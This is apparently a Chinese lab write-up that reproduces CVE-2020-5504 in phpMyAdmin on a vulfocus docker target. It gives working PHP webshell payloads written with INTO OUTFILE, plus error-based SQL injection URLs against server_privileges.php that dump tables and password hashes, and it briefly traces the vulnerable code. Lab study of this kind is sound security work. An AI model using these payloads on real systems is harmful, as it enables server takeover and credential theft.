环境搭建
使用vulfocus靶场,官网:https://vulfocus.cn/#/dashboard
docker pull vulfocus/phpmyadmin-cve_2020_5504
docker run -d -p 80:80 vulfocus/phpmyadmin-cve_2020_5504
写马法
先查一下mysql的路径
最终通过SELECT load_file('/var/www/html/pma/index.php');
,有返回,进而最终判断网站绝对路径为/var/www/html/pma
写入一句话
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/test.php'
SELECT "<?php @eval($_POST[x]);?>" into outfile '/var/www/html/pma/test.php';
连接蚁剑
总结:此法有难度的地方在于怎么找网站的绝对路径,然后再写入一句话木马
报错注入法
登陆后,抓包记录一下token
注入位置
- 页面位置server_privileges.php;
- 设置变量ajax_requests为true;
- 设置变量validate_username 为真值;
- 设置变量username 为我们拼接的注入语句。
http://192.168.2.104/pma/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token值&viewing_mode=server
执行完毕后程序只会告知SQL是否执行成功,失败会报错,因此此处我们可以利用报错注入。
http://192.168.2.104/pma/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=token值&viewing_mode=server
之后就是通过报错注入爆出数据了
求数据库
http://192.168.2.104/pma/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select database()),0x7e))--+db=&token=252448515a51452224777d6f43323a7c&viewing_mode=server
求表
extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e))
这里求出来的表因为extractvalue()能查询字符串的最大长度为32,所以我们需要多次修改参数从而求出所有的表,也可以使用burpsuite进行爆破
求列
extractvalue(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),1,32),0x7e))
同样需要多次修改参数
求字段
extractvalue(1,concat(0x7e,substring((select group_concat(Password) from user),1,32),0x7e))
求出字段为 6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 此处使用的加密方式是mysql5,解密后为123456
原理
参考:【CVE-2020-5504】phpMyAdmin后台SQL注入
定位到文件libraries/server_privileges.lib.php
,此处就是SQL注入存在点,username和validate_username都可控,我们往上回溯定位if所在的函数。
可以看到if处于PMA_getExtraDataForAjaxBehavior函数内。
跳转到文件server_privileges.php可以看到$extra_data触发了此函数,处于一个if内,下一步快捷键ctrl+shift+F全局搜索变量**is_ajax_request,看看是否可控让其为真值。
跳转到文件libraries/common.inc.php这里有可控变量ajax_request只要给它附true就可以返回true了。
标签:username,phpMyAdmin,0x7e,server,2020,pma,SQL,php,concat From: https://www.cnblogs.com/-ggbond-/p/16819021.html